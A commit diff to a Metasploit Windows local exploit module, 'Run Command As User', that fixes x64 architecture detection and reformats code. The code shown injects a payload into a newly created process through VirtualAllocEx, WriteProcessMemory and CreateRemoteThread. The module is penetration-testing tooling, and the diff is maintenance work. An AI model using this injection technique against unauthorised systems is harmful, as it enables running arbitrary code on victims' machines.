Fix x64 injection

Author: Meatballs1

modules/exploits/windows/local/run_as.rb

@@ -7,10 +7,9 @@
 require 'rex'
 
 class Metasploit3 < Msf::Exploit::Local
-
   include Msf::Post::Windows::Runas
 
-  def initialize(info={})
+  def initialize(info = {})
     super(update_info(info,
       'Name'                 => "Windows Run Command As User",
       'Description'          => %q{
@@ -63,19 +62,19 @@ def exploit
       windir = get_env('windir')
 
       # Select path of executable to run depending the architecture
-      case client.platform
-      when /x86/
+      case sysinfo['Architecture']
+      when /x86/i
         application_name = "#{windir}\\System32\\notepad.exe"
-      when /x64/
+      when /x64/i
         application_name = "#{windir}\\SysWOW64\\notepad.exe"
       end
     end
 
     pi = create_process_with_logon(domain,
-                              user,
-                              password,
-                              application_name,
-                              command_line)
+                                   user,
+                                   password,
+                                   application_name,
+                                   command_line)
 
     return unless pi
 
@@ -85,12 +84,12 @@ def exploit
       vprint_status('Injecting payload into target process')
       raw = payload.encoded
       process_handle = pi[:process_handle]
-      virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
-                                              nil,
-                                              raw.length,
-                                              'MEM_COMMIT|MEM_RESERVE',
-                                              'PAGE_EXECUTE_READWRITE')
 
+      virtual_alloc = session.railgun.kernel32.VirtualAllocEx(process_handle,
+                                                              nil,
+                                                              raw.length,
+                                                              'MEM_COMMIT|MEM_RESERVE',
+                                                              'PAGE_EXECUTE_READWRITE')
 
       address = virtual_alloc['return']
       fail_with(Exploit::Failure::Unknown, "Unable to allocate memory in target process: #{virtual_alloc['ErrorMessage']}") if address == 0
@@ -99,18 +98,18 @@ def exploit
                                                                  address,
                                                                  raw,
                                                                  raw.length,
-                                                                4)
+                                                                 4)
 
       fail_with(Exploit::Failure::Unknown,
                 "Unable to write memory in target process @ 0x#{address.to_s(16)}: #{write_memory['ErrorMessage']}") unless write_memory['return']
 
       create_remote_thread = session.railgun.kernel32.CreateRemoteThread(process_handle,
-                                                  nil,
-                                                  0,
-                                                  address,
-                                                  nil,
-                                                  0,
-                                                  4)
+                                                                         nil,
+                                                                         0,
+                                                                         address,
+                                                                         nil,
+                                                                         0,
+                                                                         4)
       if create_remote_thread['return'] == 0
         print_error("Unable to create remote thread in target process: #{create_remote_thread['ErrorMessage']}")
       else